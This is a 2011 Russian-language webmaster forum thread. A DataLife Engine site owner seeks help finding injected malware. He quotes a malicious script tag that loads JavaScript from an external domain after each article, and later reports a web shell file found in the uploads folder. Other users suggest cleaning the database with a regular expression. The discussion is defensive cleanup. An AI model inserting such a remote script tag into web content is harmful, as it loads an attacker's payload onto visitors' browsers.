Помогите найти файл с вирусом. Двиг DLE.

Deadman_n · 29.07.2011, 15:43

Вот такую бяку вижу

PHP код:


			
<script src="http://idealvk.msk.ru/9ef88dda96cbc73f951bf2f5d2dd6a45.js" type="text/javascript"></script>

после окончание статьи.
Где поискать куда встроено?
index.phh, init.php глянул
main,tpl, shortstory и fullstory тож глянул.

Клон · 29.07.2011, 15:46

Цитата:

Сообщение от Deadman_n

Где поискать куда встроено?

в БД посмотрите, скорее всего в каждую новость вшито с разным названием файла
попросите прогера регулярку сделать, почистите базу и назад вольёте

gun · 29.07.2011, 15:55

А встроенный антивирус ничего не говорит?

Freer1der · 29.07.2011, 17:53

в асю стукни найдём 59два00197два

Deadman_n · 31.07.2011, 11:41

нашел в папке uploads - foto_247594.php
вот наверно через эту бяку (шел) все и было сделано...
БД глянуть всетаки для начала или файлы какие-нить?

Freer1der · 31.07.2011, 13:03

я думаю файлы сначала пересмотри

Deadman_n · 11.09.2011, 18:14

Подскажите как быстро и лекго вычистить из БД?
Находиться

Цитата:

в shortstory и fullstory. Через обычную "поиск-замена" dle админки не заменяется. Может через phpmyadmin можно по быстрому удалить? Просто не знаком с БД.
Заранее спасибо.

Добавлено через 1 минуту
Я так понимаю надо из базы dle_post удалить...

Клон · 11.09.2011, 18:15

Цитата:

Сообщение от Deadman_n

Подскажите как быстро и лекго вычистить из БД?

надо регулярку для нотпада например и поиском с заменой на пустоту все в базе убрать

Deadman_n · 11.09.2011, 18:53

Спасибо за совет, но ничего не понял

Добавлено через 3 минуты
Меня вот и интересует как сделать поиск-замену на пустоту... Какой-то запрос надо или как? с phphmyadmin не знаком особо.

Клон · 11.09.2011, 18:57

не надо лезть в phphmyadmin

надо скачать базу на комп, почистить и влить обратно

или заплатить тому кто сможет это сделать =))

29.07.2011, 15:43	#1
Deadman_n Мастер Регистрация: 23.03.2008 Сообщений: 516 Вес репутации: 0	Помогите найти файл с вирусом. Двиг DLE. Вот такую бяку вижу PHP код: `<script src="http://idealvk.msk.ru/9ef88dda96cbc73f951bf2f5d2dd6a45.js" type="text/javascript"></script>` после окончание статьи. Где поискать куда встроено? index.phh, init.php глянул main,tpl, shortstory и fullstory тож глянул. __________________ Я из Томска.

31.07.2011, 11:41	#5
Deadman_n Мастер Регистрация: 23.03.2008 Сообщений: 516 Вес репутации: 0	нашел в папке uploads - foto_247594.php вот наверно через эту бяку (шел) все и было сделано... БД глянуть всетаки для начала или файлы какие-нить? __________________ Я из Томска.

11.09.2011, 18:53	#9
Deadman_n Мастер Регистрация: 23.03.2008 Сообщений: 516 Вес репутации: 0	Спасибо за совет, но ничего не понял Добавлено через 3 минуты Меня вот и интересует как сделать поиск-замену на пустоту... Какой-то запрос надо или как? с phphmyadmin не знаком особо. __________________ Я из Томска. Последний раз редактировалось Deadman_n; 11.09.2011 в 18:53. Причина: Добавлено сообщение

11.09.2011, 18:57	#10
Клон Куриллочный троль Регистрация: 15.03.2010 Сообщений: 8,483 Вес репутации: 521	не надо лезть в phphmyadmin надо скачать базу на комп, почистить и влить обратно или заплатить тому кто сможет это сделать =)) __________________ 2013 год. В прошлом апокалипсис. Страшный апокалипсис. Гнилой апокалипсис. Просто чмо

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Установка кода на двиг PHP MAILS 2.0.2 (помогите)	BlackMonkey	Установка кода на различные движки	2	25.05.2009 02:34
помогите установить двиг	boolanuy	Установка кода на различные движки	8	22.12.2008 06:29
Файл links.db - где найти его?	TzRD	Вопросы от новичков	2	24.07.2008 02:22
помогите поставить код на двиг jozefina	MantroniX	Вопросы по работе системы	0	02.09.2007 03:28

29.07.2011, 15:55	#3
gun Banned Регистрация: 15.03.2007 Сообщений: 145 Вес репутации: 0	А встроенный антивирус ничего не говорит?

29.07.2011, 17:53	#4
Freer1der Специалист Регистрация: 27.04.2010 Сообщений: 103 Вес репутации: 174	в асю стукни найдём 59два00197два

31.07.2011, 13:03	#6
Freer1der Специалист Регистрация: 27.04.2010 Сообщений: 103 Вес репутации: 174	я думаю файлы сначала пересмотри